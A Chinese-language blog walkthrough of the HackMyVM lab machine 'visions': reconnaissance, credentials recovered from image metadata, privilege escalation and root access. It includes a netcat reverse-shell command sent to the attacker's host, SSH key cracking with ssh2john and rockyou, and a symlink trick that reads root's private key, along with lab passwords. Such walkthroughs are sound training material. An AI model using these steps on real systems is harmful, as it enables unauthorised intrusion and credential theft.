当前位置:网站首页>HackMyvm靶機系列(3)-visions
HackMyvm靶機系列(3)-visions
2022-07-06 13:57:00 【月應知我意】
一、信息收集
先探測網段,得到目標主機
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然後進行端口掃描,發現ssh服務和http服務
nmap -sC -sV -p- 192.168.200.234
訪問一下http服務,發現只有一張圖片和一段注釋。
這段注釋看上去是一個提示,aliccia猜測可能是一個用戶
使用dirsearch掃描一下目錄,看看能有什麼收獲不
dirsearch -u http://192.168.200.234/ -e php,html,txt,bak,zip,7z,gz,db -x 404,301,500,502
然而什麼東西都麼有
根據它的提示,將圖片下載下來,查看一下圖片的元數據是啥
curl http://192.168.200.234/white.png -o white.png
./exiftool white.png
如圖,發現了密碼
工具用法與下載:
alicia:ihaveadream
二、漏洞利用
成功登入
進來之後在當前目錄下沒發現flag,看了一下家目錄發現有4個用戶,然後在sophia目錄下發現了flag,但是沒有權限,運行不了。
那就先試試提權?
sudo -l
發現當前用戶可以以emma用戶的身份運行nc而不需要使用密碼。
既然如此,那就先反彈shell試試。
kali上監聽端口
然後在目標機上執行下面命語句
sudo -u emma nc 192.168.200.192 10000 -e /bin/bash
成功接受到shell,使用python獲得一個交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在當前目錄下發現一個note.txt文件,內容如下。
我情不自禁???不知道啥意思。
然後我又查看了一下suid和sudo提權,都沒啥突破口。
後來看了大佬的wp,發現需要使用到一些圖片處理工具
上傳圖片後,點擊這個箭頭處。
然後就能看到用戶名和密碼了,這題是真的坑,信息全藏在這張圖片裏了
sophia:seemstobeimpossible
登錄成功
當前用戶可以使用任何用戶的身份使用cat命令查看.invisible文件。這意味著我們使用cat命令查看該文件的時候可以用擁有root權限。
打開一看,是用戶isabella的私鑰欸,拿去登錄試試
居然還要繼續輸入密碼。
只能開始爆破了
可以使用john the ripper進行爆破,但是要先使用下面命令將id_rsa轉換為john能識別的hash值
python3 /usr/share/john/ssh2john.py id_rsa > crack.txt
我這裏使用脚本進行爆破。
rockyou.txt是kali自帶的一個字典,/usr/share/wordlists/rockyou.txt.gz,使用之前需要對其解壓,不然會亂碼
gzip -d rockyou.txt.gz
成功爆破出密碼(密碼在1萬多行,但是這裏由於寫wp我就把它放前面來了)
invisible
如圖,登錄成功
從下面開始,由於換了一個網絡,所以這個IP變了
三、權限提昇
在這裏看看有沒有可以用來提權的命令
然而並沒有什麼突破點
後來突然想起之前sophia用戶使用cat命令讀取.invisible文件是具有root權限的,那我能不能使用isabella用戶將.invisiblla用戶鏈接到root用戶的私鑰上去呢?
創建軟鏈接
ln -sf /root/.ssh/id_rsa .invisible
讀取root用戶的私鑰
sudo cat /home/isabella/.invisible
這裏使用私鑰登錄是會有一個小問題,權限太高會導致登陸失敗。
將權限降低,再進行登錄
chmod 600 key
登錄成功,獲得root權限
边栏推荐
- HackMyvm靶机系列(5)-warez
- [VMware abnormal problems] problem analysis & Solutions
- Read only error handling
- Nuxtjs快速上手(Nuxt2)
- Force deduction 152 question multiplier maximum subarray
- .Xmind文件如何上传金山文档共享在线编辑?
- Attach the simplified sample database to the SQLSERVER database instance
- 实验九 输入输出流(节选)
- Callback function ----------- callback
- [the Nine Yang Manual] 2016 Fudan University Applied Statistics real problem + analysis
猜你喜欢
随机推荐
(original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
1. Preliminary exercises of C language (1)
MATLAB打开.m文件乱码解决办法
7-11 机工士姆斯塔迪奥(PTA程序设计)
7-9 制作门牌号3.0(PTA程序设计)
[dark horse morning post] Shanghai Municipal Bureau of supervision responded that Zhong Xue had a high fever and did not melt; Michael admitted that two batches of pure milk were unqualified; Wechat i
Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a
SRC mining ideas and methods
7-8 7104 约瑟夫问题(PTA程序设计)
2022 Teddy cup data mining challenge question C idea and post game summary
透彻理解LRU算法——详解力扣146题及Redis中LRU缓存淘汰
Callback function ----------- callback
Analysis of penetration test learning and actual combat stage
Package bedding of components
撲克牌遊戲程序——人機對抗
Detailed explanation of redis' distributed lock principle
7-4 散列表查找(PTA程序设计)
Experiment 8 exception handling
[the Nine Yang Manual] 2017 Fudan University Applied Statistics real problem + analysis
Experiment 7 use of common classes (correction post)